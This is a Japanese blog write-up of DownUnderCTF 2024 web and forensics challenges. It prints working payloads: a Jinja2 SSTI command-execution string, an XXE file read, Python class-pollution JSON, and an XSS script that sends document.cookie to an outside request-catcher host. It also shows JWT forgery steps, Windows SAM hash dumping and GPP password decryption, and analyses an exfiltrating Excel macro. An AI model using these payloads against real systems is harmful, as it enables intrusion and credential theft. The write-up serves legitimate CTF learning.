はまやんはまやんはまやん

hamayanhamayan's blog

DownUnderCTF 2024 Writeups

https://ctftime.org/event/2284

[Web] parrot the emu

以下のようなpythonスクリプトが与えられる。

from flask import Flask, render_template, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def vulnerable():
    chat_log = []

    if request.method == 'POST':
        user_input = request.form.get('user_input')
        try:
            result = render_template_string(user_input)
        except Exception as e:
            result = str(e)

        chat_log.append(('User', user_input))
        chat_log.append(('Emu', result))
    
    return render_template('index.html', chat_log=chat_log)

if __name__ == '__main__':
    app.run(debug=True, port=80)

入力がそのままrender_template_stringに与えられている。この関数はテンプレートエンジンを利用するための関数で、こういったテンプレートエンジンに任意の文字列を送れるときにSSTIという問題が発生することがある。例えば{{4*4}}という文字列を送り込んでみよう。Flaskが利用しているjinja2では{{}}で囲われた部分がテンプレート部分として機能する。そのまま表示されずに16と応答があり、評価されていることが確認できる。

CTFerの心の友HackTricksを見て、使えそうなpayloadを探してこよう。ここを見てみると、RCEコードがあったので試してみる。

{{ cycler.__init__.__globals__.os.popen('id').read() }}
->
uid=0(root) gid=0(root) groups=0(root)

idコマンドが動いていますね。ok。色々探すとフラグが手に入ります。

{{ cycler.__init__.__globals__.os.popen('ls -la').read() }}
->
total 28
drwxr-xr-x 1 root root 4096 Jul  4 15:47 .
drwxr-xr-x 1 root root 4096 Jul  4 15:47 ..
-rw-r--r-- 1 root root  625 Jul  4 15:47 app.py
-rw-r--r-- 1 root root   34 Jul  4 15:47 flag
-rw-r--r-- 1 root root   29 Jul  4 15:47 requirements.txt
drwxr-xr-x 3 root root 4096 Jul  4 15:47 static
drwxr-xr-x 2 root root 4096 Jul  4 15:47 templates

{{ cycler.__init__.__globals__.os.popen('cat flag').read() }}
->
DUCTF{■■■■■■■■■■■■■■■■■■■■■■■}

[Web] zoo feedback form

以下のようなpythonスクリプトが与えられる。

from flask import Flask, request, render_template_string, render_template
from lxml import etree

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        xml_data = request.data
        try:
            parser = etree.XMLParser(resolve_entities=True)
            root = etree.fromstring(xml_data, parser=parser)
        except etree.XMLSyntaxError as e:
            return render_template_string('<div style="color:red;">Error parsing XML: {{ error }}</div>', error=str(e))
        feedback_element = root.find('feedback')
        if feedback_element is not None:
            feedback = feedback_element.text
            return render_template_string('<div style="color:green;">Feedback sent to the Emus: {{ feedback }}</div>', feedback=feedback)
        else:
            return render_template_string('<div style="color:red;">Invalid XML format: feedback element not found</div>')

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

入力がetreeに渡されている。etreeということはXMLファイルを外部から渡している訳だが、任意のXMLを外部から渡すことができる状況の脆弱性と言えば…XXEですね。Burp Suiteを立ち上げてサイトを開き、適当にabcと書いて送ってみる。通信ログを見ると以下のようなPOSTリクエストでXMLファイルが送られていた。

POST / HTTP/2
Host: web-zoo-feedback-form-2af9cc09a15e.2024.ductf.dev
Content-Length: 131
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
            <root>
                <feedback>abc</feedback>
            </root>
            

そして、応答としてabcが出力されてきた。つまり、feedbackタグの中身が帰ってくる。さて、HackTricksのXXEページを見てみよう。今回は./flag.txtを読めればいいので、「ファイルの読み取り」を見てみる。以下のような例が紹介されている。

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>

読み解くと、<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>/etc/passwdの中身を&example;に入れていて、それをdataの中身で展開している。つまり、これを今回の問題向けにカスタムすると以下のようになる。

POST / HTTP/2
Host: web-zoo-feedback-form-2af9cc09a15e.2024.ductf.dev
Content-Length: 146
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "flag.txt"> ]>
<root>
    <feedback>&example;</feedback>
</root>

これでフラグが得られる。

[Web] co2

pythonで書かれたwebサイトが与えられる。フラグをまずは探すと以下にある。

flag = os.getenv("flag")
…
@app.route("/get_flag")
@login_required
def get_flag():
    if flag == "true":
        return "DUCTF{NOT_THE_REAL_FLAG}"
    else:
        return "Nope"

flagには最初falseが入っており、ここ以外にflag変数を触っている所は無い。解けるのだろうか。色々巡回すると、utils.pyの以下の部分が怪しい。

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

普段こういう部分をみるとPrototype Pollutionかなと思う所だが、Pythonでも同じような考え方を適用することが可能。merge関数を呼んでいるのは以下。

@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200

外部から差し込んだjsonをオブジェクトにしてmerge関数に渡していますね。自由に操作可能。コピー先はFeedback関数の

>>> class Feedback:
...     def __init__(self):
...         self.title = ""
...         self.content = ""
...         self.rating = ""
...         self.referred = ""

>>> feedback = Feedback()
>>> flag = False
>>> feedback.__init__.__globals__['flag']
False
>>> feedback.__init__.__globals__['flag'] = "true"
>>> flag
'true'

ガチャガチャやるとこういう感じに代入していけば、変数を上書き可能。これをjsonに直してみよう。

{
    "__init__": {
        "__globals__": {
            "flag": "true"
        }
    }
}

準備ができた。Burp Suiteを開き、webサービスを開いて、ユーザー登録・ログイン後、Feedback Formから適当に値を入れて送信する。通信ログを見るとPOST /save_feedbackが残っているのでこれを改変して以下のようにjsonを送り付けてやる。

POST /save_feedback HTTP/2
Host: [redacted]
Cookie: session=.eJwljjkOwzAMBP_COoVkiaLozxg8kbR2XAX5ewSknB1gMR848ozrCfv7vOMBx8thh5lmM3NqBLKjbpKtGLnO1stY0rESFo-pFkJV1ko6ulgWnR2NaHOmlGBSlYrSDHvXtNrTZWjnrVgz5bZ-MJ1jUCOWRQPRYYXcV5z_mgrfH4cyMM8.ZoiM7A.udB-EUpSpmxGdhXEi59s5Bt11uY
Content-Length: 95
Content-Type: application/json

{
    "__init__": {
        "__globals__": {
            "flag": "true"
        }
    }
}

あとは、GET /get_flagすればフラグが手に入る。

[Web] co2v2

前問と比較をしてみると雰囲気が結構違っている。管理者にサイトを踏ませる機能が追加されていたり、app/__init__.pyapp.config["SESSION_COOKIE_HTTPONLY"] = Falseが追記されているのでXSSをしてCookieを抜いてくることをゴールにする。

GET /でHTMLを埋め込む

管理者にサイトを踏ませる機能はあるが、表示先はGET /に限られている。ここでXSSするためには、まずは任意のHTMLタグが埋め込み可能である必要性があるが、埋め込み時にAutoEscapeする設定がなされていて、できない。

routes.pyの以下の部分を活用する。なお、見やすいようにコメントを削除している。

# Future Admin routes - FOR TEST ENVIRONMENT ONLY
@app.route("/admin/update-accepted-templates", methods=["POST"])
@login_required
def update_template():
    data = json.loads(request.data)
    if "policy" in data and data["policy"] == "strict":
        template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
    return jsonify({"success": "true"}), 200

ここを見ると、jinjaの設定をするのにautoescape=TEMPLATES_ESCAPE_ALLと再導入しているが、TEMPLATES_ESCAPE_ALLは前問でのテクニックを使えば、上書き可能。よって、TEMPLATES_ESCAPE_ALLをfalseに上書きすることでテンプレートの自動エスケープが無効化され、HTMLタグをテンプレート経由でも送り込むことができる。

ここでGET /で使われるapp/templates/index.htmlを見てみると以下のようにpublicなポストの題名と内容が表示されている。

{% for blog in posts %}
<div class="card">
    <div class="card-body">
        <h5 class="card-title"><a href="/blog/{{blog.id}}">{{blog.title}}</a></h5>
        <p class="card-text">{{blog.content[:100]}}...</p>
    </div>
</div>
{% endfor %}

つまり、上記の設定を施したうえでpublicなポストを作成し、その題名にHTMLタグを入れておけば管理者にそれを踏ませることができるようになる。

CSPのnonceを固定化する

CSPでnonceが設定されていて以下のように作成されている。

def generate_nonce(data):
    nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
    sha256_hash = hashlib.sha256()
    sha256_hash.update(nonce.encode('utf-8'))
    hash_hex = sha256_hash.hexdigest()
    g.nonce = hash_hex
    return hash_hex

ここで使われている定数も前問の手法で上書き可能。SECRET_NONCEを""、RANDOM_COUNTを0にすると、nonceはdataを単にsha256ハッシュにしたものになる。呼ばれ方もgenerate_nonce(request.path)という感じになるので、この2つの定数を良い感じに設定するとnonceを単なるパスのsha256ハッシュに固定化することができる。

実際にXSSで使われるのはGET /であり、実際に上記の設定を実施してみて固定化させた後nonceを見ると8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1で固定化された。

これでHTMLの差し込みもできたし、そのうえでCSPのnonce問題も解決した。パズルのピースが揃ったので攻撃をまとめていこう。

攻撃をまとめる

  1. ユーザー登録
  2. 前問のテクニックでグローバル変数を上書きする
POST /save_feedback HTTP/2
Host: [redacted]
Cookie: session=.eJwlzjsOwjAMANC7ZGawncSfXqZKYluwtnRC3J1KrG96n7LnEeezbO_jikfZX162YpY5p9YOoh1t-mBz02yhQjIsqIXlAgYW85gVeNnEQFqh2EQ6TblVZVDjBGqtC6PpEEvHkW5MkEkdGXxaVPNaoY4VDVVruSPXGcd_g-X7A4mILk4.ZolTrw.mHluESp8GHgtYD3oUZaTwYB6LvM
Content-Length: 175
Content-Type: application/json

{
    "__init__": {
        "__globals__": {
            "TEMPLATES_ESCAPE_ALL": false,
            "SECRET_NONCE": "",
            "RANDOM_COUNT": 0
        }
    }
}
  1. POST /admin/update-accepted-templatesをしてテンプレートの設定を変更
POST /admin/update-accepted-templates HTTP/2
Host: [redacted]
Cookie: session=.eJwlzjsOwjAMANC7ZGawncSfXqZKYluwtnRC3J1KrG96n7LnEeezbO_jikfZX162YpY5p9YOoh1t-mBz02yhQjIsqIXlAgYW85gVeNnEQFqh2EQ6TblVZVDjBGqtC6PpEEvHkW5MkEkdGXxaVPNaoY4VDVVruSPXGcd_g-X7A4mILk4.ZolTrw.mHluESp8GHgtYD3oUZaTwYB6LvM
Content-Length: 28
Content-Type: application/json

{
    "policy": "strict"
}
  1. XSS payloadを含むブログ投稿を用意する
<script nonce="8a5edab282632443219e051e4ade2d1d5bbc671c781051bf1437897cbdfea0f1">fetch('https://[yours].requestcatcher.com/b', { method : 'post', body: document.cookie });</script>

以上のタイトルにして投稿。Publicにすることを忘れないこと。XSSコードはとあるrequest catcherにcookieをPOSTで送信するというもの。

  1. GET /api/v1/reportで踏ませる

request catcherにcookieが飛んで来ることを確認できる。フラグ獲得。

admin-cookie=DUCTF{■■■■■■■■■■■■■■■■■}

[Web] hah got em

解けた…のだが、CVEも付いておらず、公式も詳細を出していない脆弱性のPoCを書く問題だったので(本質が、とかではなく本当にそれだけ)、なんとなく解説は控えておく。

[Web] i am confusion

javascriptでできたサイトが与えられる。フラグは以下でuser名がadminのトークンが得られればok.

app.get('/admin.html', (req, res) => {
  var cookie = req.cookies;
  jwt.verify(cookie['auth'], publicKey, verifyAlg, (err, decoded_jwt) => {
    if (err) {
      res.status(403).send("403 -.-");
    } else if (decoded_jwt['user'] == 'admin') {
      res.sendFile(path.join(__dirname, 'admin.html')) // flag!
    } else {
      res.status(403).sendFile(path.join(__dirname, '/public/hehe.html'))
    }
  })
})

トークンを作るログイン処理は以下の通り。adminで作ることが禁止されている。

app.post('/login', (req,res) => {
  var username = req.body.username
  var password = req.body.password

  if (/^admin$/i.test(username)) {
    res.status(400).send("Username taken");
    return;
  }

  if (username && password){
    var payload = { user: username };
    var cookie_expiry =  { maxAge: 900000, httpOnly: true }

    const jwt_token = jwt.sign(payload, privateKey, signAlg)

    res.cookie('auth', jwt_token, cookie_expiry)
    res.redirect(302, '/public.html')
  } else {
    res.status(404).send("404 uh oh")
  }
});

弱点を探そう。署名アルゴリズムが署名時と検証時で設定が違っているのが気になる。

// algs
const verifyAlg = { algorithms: ['HS256','RS256'] }
const signAlg = { algorithm:'RS256' }

ここが弱点っぽいが… package.jsonを見るとjsonwebtokenが大分古いことに気が付く。"jsonwebtoken": "^4.0.0"であるため4系が使われている。最新はv9.0.2。snykで見てみると、4.2.2が4系の最新。3つのMediumが残っている。4.2.2のページを見てみるといい脆弱性があった。

https://security.snyk.io/vuln/SNYK-JS-JSONWEBTOKEN-3180024 Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.

細かい情報はこの記事に書いてある。この記事からリンクのあるPoCを使ってみよう。https://github.com/silentsignal/rsa_sign2n やった流れをメモっておく。

  1. RS256で署名されたトークンを2つもらってくる
  2. git clone https://github.com/silentsignal/rsa_sign2n.git
  3. rsa_sign2n/standalone/Dockerfileのap installにnano(何でもいいが)を追加
  4. 適当にビルドして起動 docker build . -t test/test --no-cache ; docker run -it --rm test/test /bin/bash
  5. 完了したら環境に既に入ってるのでnano jwt_forgery.pyする
  6. コメントアウトされているprint(payload)の直前くらいでpayload={'user':'admin'}を追加して保存して抜ける
  7. python3 jwt_forgery.py [token1] [token2]とすると署名済みの使えるトークン候補がもらえる

これでトークン候補が得られるので、GET /admin.htmlで使ってみればいい。自分の場合ではトークン候補の最後に出てきたものを以下のように使うとフラグが得られた。

GET /admin.html HTTP/1.1
Host: i-am-confusion.2024.ductf.dev:30001
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogImFkbWluIn0.-fREa_R0Y-3KV8l4-rTuHxQsspPjiRF1D8woHg7JfkE

[Forensics] Baby's First Forensics

They've been trying to breach our infrastructure all morning! They're trying to get more info on our covert kangaroos! We need your help, we've captured some traffic of them attacking us, can you tell us what tool they were using and its version?
彼らは今朝ずっと我々のインフラに侵入しようとしている!彼らは我々の秘密のカンガルーについてもっと情報を得ようとしているんだ!君の助けが必要だ。彼らが我々を攻撃しているトラフィックをいくつか捕らえたんだけど、彼らがどのツールを使っていたのか、そのバージョンを教えてくれるか?
NOTE: Wrap your answer in the DUCTF{}, e.g. DUCTF{nmap_7.25}

pcapファイルが与えられる。問題文を見る感じ、User-Agentでも見ればよさそう。pcapファイルを開くと、ディレクトリリスティングしているようなパケットが残っていた。適当に1つHTTPストリームで見てみるとこんな感じ。

GET /cgi-bin/astrocam.cgi HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:000188)
Host: 172.16.17.135

Nikto/2.1.6を答えに整形すれば答え。

[Forensics] SAM I AM

The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files.
Can you reproduce how they got the Administrator's Password with the artifacts provided?
攻撃者は我々の反乱者のドメインコントローラーでドメイン管理者権限を取得しました!どうやら、彼らはWMIを使用してアカウントでログオンし、いくつかのファイルをダンプしたようです。
提供されたアーティファクトを使って、彼らが管理者のパスワードを取得した方法を再現できますか?
提供されたファイルを確認し、具体的な方法を再現するために詳細な調査を行います。それでは、次のステップとして提供されたアーティファクトを送っていただけますか?
Place the Administrator Account's Password in DUCTF{}, e.g. DUCTF{password123!}

レジストリハイブのSAMとSYSTEMが与えられる。pypykatzで中身を解析してみよう。

  1. docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bashで環境立ち上げ
  2. 環境に入ったらpip3 install pypykatzでpypykatzを入れる
  3. /mntにカレントディレクトリがマウントされるようにして起動しているので、適当に移動して、pypykatz registry --sam sam.bak system.bakをする

これをやると以下が得られる。

============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: a88f47504785ba029e8fa532c4c9e27b
============== SAM hive secrets ==============
HBoot Key: 848804bda5d876ca7027beeee0efdd7c4deff25c722215c53f0473baed502dab
Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::   
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Administratorのハッシュである476b4dddbbffde29e739b618580adb1eをCrackStationに通すと!checkerboard1だった。様式通り答えると正答。

[Forensics] Bad Policies

Looks like the attacker managed to access the rebels Domain Controller.
Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?
攻撃者は反乱者のドメインコントローラーにアクセスできたようです。
我々の前哨基地のマシンの1つからこれらのアーティファクトを引き出した後、彼らがどのようにしてアクセスしたのかを解明できますか?
アーティファクトを送っていただければ、どのようにアクセスしたのかを調査します。ファイルを提供していただけますか?

添付ファイルとしてSYSVOL(なんだっけ、GPO入ってるアレ)みたいなファイル群が与えられる。

そんなにファイル数もないので全部眺める。

**badpolicies\rebels.ductf\Policies\{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}\Machine\Preferences\Groups\Groups.xml**
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Backup" image="2" changed="2024-06-12 14:26:50" uid="{CE475804-94EA-4C12-8B2E-2B3FFF1A05C4}"><Properties action="U" newName="" fullName="" description="" cpassword="B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="Backup"/></User>
  1. docker run -v ${PWD}:/mnt --rm -it python:latest /bin/bashで環境立ち上げ
  2. 環境作り
git clone https://github.com/t0thkr1s/gpp-decrypt
cd gpp-decrypt
python3 setup.py install
pip3 install pycryptodome
  1. 実行!
root@1a238e86518a:/mnt/gpp-decrypt# python3 gpp-decrypt.py -c 'B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2'
/mnt/gpp-decrypt/gpp-decrypt.py:10: SyntaxWarning: invalid escape sequence '\ '
  banner = '''

                               __                                __
  ___ _   ___    ___  ____ ___/ / ___  ____  ____  __ __   ___  / /_
 / _ `/  / _ \  / _ \/___// _  / / -_)/ __/ / __/ / // /  / _ \/ __/
 \_, /  / .__/ / .__/     \_,_/  \__/ \__/ /_/    \_, /  / .__/\__/
/___/  /_/    /_/                                /___/  /_/

[ * ] Password: DUCTF{■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■}

[Forensics] Macro Magic

We managed to pull this excel spreadsheet artifact from one of our Outpost machines. Its got something sus happening under the hood. After opening we found and captured some suspicious traffic on our network. Can you find out what this traffic is and find the flag!
このエクセルスプレッドシートは、私たちのOutpostマシンの一つから取得したアーティファクトです。中身に何か怪しいことが起きています。開いてみたところ、ネットワーク上で不審なトラフィックを発見し、捕捉しました。このトラフィックが何であるかを調べ、フラッグを見つけてください。

ということでpcapngファイルとxlsmファイルが与えられる。マクロの方から見ていこう。xlsmファイルからolevbaを使ってVBAスクリプトを抽出してくる。olevba Monke.xlsm

すると、そこそこたくさんマクロが出てくるのが、上から眺めるとフラグがありそうな部分が分かりやすくなっていた。

Sub macro1()
    Dim Path As String
    Dim wb As Workbook
    Dim A As String
    Dim B As String
    Dim C As String
    Dim D As String
    Dim E As String
    Dim F As String
    Dim G As String
    Dim H As String
    Dim J As String
    Dim K As String
    Dim L As String
    Dim M As String
    Dim N As String
    Dim O As String
    Dim P As String
    Dim Q As String
    Dim R As String
    Dim S As String
    Dim T As String
    Dim U As String
    Dim V As String
    Dim W As String
    Dim X As String
    Dim Y As String
    Dim Z As String
    Dim I As Long
    N = importantThing()
    K = "Yes"
    S = "Mon"
    U = forensics(K)
    V = totalyFine(U)
    D = "Ma"
    J = "https://play.duc.tf/" + V
    superThing (J)
    J = "http://flag.com/"
    superThing (J)
    G = "key"
    J = "http://play.duc.tf/"
    superThing (J)
    J = "http://en.wikipedia.org/wiki/Emu_War"
    superThing (J)
    N = importantThing()
    Path = ThisWorkbook.Path & "\flag.xlsx"
    Set wb = Workbooks.Open(Path)
    Dim valueA1 As Variant
    valueA1 = wb.Sheets(1).Range("A1").Value
    MsgBox valueA1
    wb.Close SaveChanges:=False
    F = "gic"
    N = importantThing()
    Q = "Flag: " & valueA1
    H = "Try Harder"
    U = forensics(H)
    V = totalyFine(U)
    J = "http://downunderctf.com/" + V
    superThing (J)
    W = S + G + D + F
    O = doThing(Q, W)
    M = anotherThing(O, W)
    A = something(O)
    Z = forensics(O)
    N = importantThing()
    P = "Pterodactyl"
    U = forensics(P)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    T = totalyFine(Z)
    MsgBox T
    J = "http://downunderctf.com/" + T
    superThing (J)
    N = importantThing()
    E = "Forensics"
    U = forensics(E)
    V = totalyFine(U)
    J = "http://play.duc.tf/" + V
    superThing (J)
    
End Sub

これを全部読む…のではなく、ゴミデータがたくさんあるので必要そうな所だけ読んでいくことにしよう。ざっと見てみるとQ = "Flag: " & valueA1が気になる。とりあえず、ここを起点にしてみよう。次に、パケットキャプチャーがあるということは暗号化されてネットワーク経由で外に出すんだろう。URLが使われる先を見ていくと、superThingが怪しく、実際に実装を見てみると接続していた。

Public Function superThing(ByVal A As String) As String
    With CreateObject("MSXML2.ServerXMLHTTP.6.0")
        .Open "GET", A, False
        .Send
        superThing = StrConv(.responseBody, vbUnicode)
    End With
End Function

という訳でQ = "Flag: " & valueA1をなんかしてsuperThingで外部送信していそうなパスに限定してみると無茶苦茶分かりやすくなる。

S = "Mon"
G = "key"
D = "Ma"
F = "gic"

Q = "Flag: " & valueA1
W = S + G + D + F
O = doThing(Q, W)

Z = forensics(O)

T = totalyFine(Z)
MsgBox T
J = "http://downunderctf.com/" + T
superThing (J)

doThing、forensics、totalyFineの実装は以下の通り。

Public Function doThing(B As String, C As String) As String
    Dim I As Long
    Dim A As String
    For I = 1 To Len(B)
        A = A & Chr(Asc(Mid(B, I, 1)) Xor Asc(Mid(C, (I - 1) Mod Len(C) + 1, 1)))
    Next I
    doThing = A
End Function

Public Function forensics(B As String) As String
    Dim A() As Byte
    Dim I As Integer
    Dim C As String
    A = StrConv(B, vbFromUnicode)
    For I = LBound(A) To UBound(A)
        C = C & CStr(A(I)) & " "
    Next I
    C = Trim(C)
    forensics = C
End Function

Public Function totalyFine(A As String) As String
    Dim B As String
    B = Replace(A, " ", "-")
    totalyFine = B
End Function

特段難しいことはしておらず、doThing、forensics、totalyFineはそれぞれ、XOR暗号化、decimal化、ハイフンで結合の処理を行っている。XOR暗号化のカギも文字列結合するとMonkeyMagic分かるので、復号化できる状態になった。 パケットキャプチャーでhttpでフィルタリングして眺めるとNo.351に該当のパケットがあり、それっぽいデータが送られている。

GET /11-3-15-12-95-89-9-52-36-61-37-54-34-90-15-86-38-26-80-19-1-60-12-38-49-9-28-38-0-81-9-2-80-52-28-19

あとは、解析結果に従い、以下のようなレシピでCyberChefすればフラグが手に入る。

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Simple%20string','string':'-'%7D,'%20',true,false,true,false)From_Decimal('Space',true)XOR(%7B'option':'UTF8','string':'MonkeyMagic'%7D,'Standard',false)&input=MTEtMy0xNS0xMi05NS04OS05LTUyLTM2LTYxLTM3LTU0LTM0LTkwLTE1LTg2LTM4LTI2LTgwLTE5LTEtNjAtMTItMzgtNDktOS0yOC0zOC0wLTgxLTktMi04MC01Mi0yOC0xOQ&ieol=CRLF&oeol=FF

[Forensics] emuc2

As all good nation states, we have our own malware and C2 for offensive operations. But someone has got the source code and is using it against us! Here's a capture of traffic we found on one of our laptops...
「すべての優れた国家がそうであるように、私たちも攻撃的な作戦のために独自のマルウェアとC2(コマンド&コントロール)を持っています。しかし、誰かがそのソースコードを手に入れて、私たちに対して使用しています!これは、私たちのラップトップの1台で発見したトラフィックのキャプチャです...」

pcapファイルとsshの復号化キーが与えられる。WireSharkでpcapファイルを開いて、編集 > 設定 > Protocols > TLSの一番下の項目にsshの復号化キーを入れてやればTLS通信が平文になる。http2通信として、Stream 8,23,28,34が記録されている。

DNS通信でforensics-emuc2-b6abd8652aa4.2024.ductf.devが34.87.243.24に解決されている。 172.17.0.2 (被害者っぽい) -> 34.87.243.24 (攻撃者) - Stream 8 POST /api/login - 認証情報を取得できる {"username": "jooospeh", "password": "n3v3r-g0nna-g1v3-th3-b1rds-up"} - ログインに成功するとトークンがもらえる {"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWJqZWN0X2lkIjowLCJleHAiOjE3MjAxMDEyOTZ9.4SUeH8xIDjPvwfzh-cdz13xcwQQPzuqbzc_fGbiOh_sWY5WNQ_xBOTKUknu6iN4iImXuR316q2HgCaCJ1T50Yw"} - Stream 23 GET /api/env - ["YeIzRgKdWkx6EhyH8FPtQinoUI42yR7B","SENmvOvr1rC4BQQ7ugTi2Mht9UXUFQQH", …, "mQSKE3GIeUfYPgSF9zXKajKRRUCFyXPd"]という感じに謎の文字列がもらえる - Stream 28 POST /api/env - 被害者側から環境変数が送られている。すると、C2サーバ側からの応答として {"message":"Uploaded succeeded","filename":"aFxtdWgXEMkQgwdGJ4QAdT1fgG6jk0Sv"} というのが送られており、環境変数を収集するエンドポイントのようだ。その際にfilenameとして文字列が発行される。GET /api/envで得られた謎の文字列はこの文字列のことだろう - Stream 34 GET /api/flag - {"error":"Error validating JWT token - No token provided"}という応答が記録されている。ここでフラグを手に入れるんですよというヒントだろう。

ちなみに、このC2サーバは実際にアクセスしてみるとまだ動いている。与えられた認証情報を使ってログインすることも可能。

ここからguessする。収集された環境変数を見ることができないかなーと色々試すと、GET /api/env/:filenameというエンドポイントが見つかる。試しにGET /api/envの応答の最初のものを使ってGET /api/env/YeIzRgKdWkx6EhyH8FPtQinoUI42yR7Bトークン付きでアクセスしてみると環境変数が表示される。ということで、全部の環境変数を抜き取ってみよう。以下のスクリプトでやる。

import requests
import json
import time

BASE = 'https://forensics-emuc2-b6abd8652aa4.2024.ductf.dev/'

t = requests.post(f'{BASE}api/login', json={"username":"jooospeh","password":"n3v3r-g0nna-g1v3-th3-b1rds-up"}).text
token = json.loads(t)['token']
print(token)

t = requests.get(f'{BASE}api/env', headers={"Authorization": f"Bearer {token}"}).text
for filename in json.loads(t):
    time.sleep(1)
    t = requests.get(f'{BASE}api/env/{filename}', headers={"Authorization": f"Bearer {token}"}).text
    print(f"===== {filename} =============================")
    print(t)

結果を巡回すると、T4yLN35GKLhxTgaykWxdgROCAwIBE3FOにてJWT_SECRETが漏洩している。

JWT_SECRET=3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi

実際に利用してみると、署名が一致することが確認できる。jooospehユーザーでは権限不足だったので別のユーザーを偽装してみよう。jooospehユーザーでログインすると、JWTのPayload部分のsubject_idが0になっていた。1にしてみよう。以下の設定でJWTを作る。jwt.ioとかを使うといい。

 header: { "typ": "JWT", "alg": "HS512" }
payload: { "subject_id": 1, "exp": 99999999999 }
秘密鍵: 3gHsCBkpZLi99zyiPqfY/NfFJqZzmNL4BAhYN8rAjRn49baTcnmyGISLD6T58XcWIUYrBfltI2iq2N6OHQSrfqBRFxFta61PvmnfRyn8Ep8T55lvLT8Es62kN3x35Bcb0OZmOGmM/zKf2qadcBq3Nbq1MiIVKJMz4w3JOk4orwFPtSNpNh8uaSQQUNMKTT6cvD9bvRvFNeeHYSPhDFwayPIRr5TJ+BpIRTUTfc1C3WCKoOuXCz2t+ISZo5yYwZ6U5w7NKFTTuDqMP/dXevkVykuntdej55XE3fsCP+UVFUT2JrY+Z9Q1aKTgavQR5smYVn93RlpbFwCoSStoANnoi
※ Base64デコードせずに文字列として使う

これでトークンを作ったら以下のように使えばフラグが手に入る。

GET /api/flag HTTP/2
Host: [redacted]
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWJqZWN0X2lkIjoxLCJleHAiOjk5OTk5OTk5OTk5fQ.trwKDAo9XpP4jKi_kSRnfzwBeGvkYjPlytMazmuFvMDu7ZV4Mb6kYBThldRXNC9SmlIWBh7eHU8yyj4OOrIGvQ

公式解説あります

ありがとう。

github.com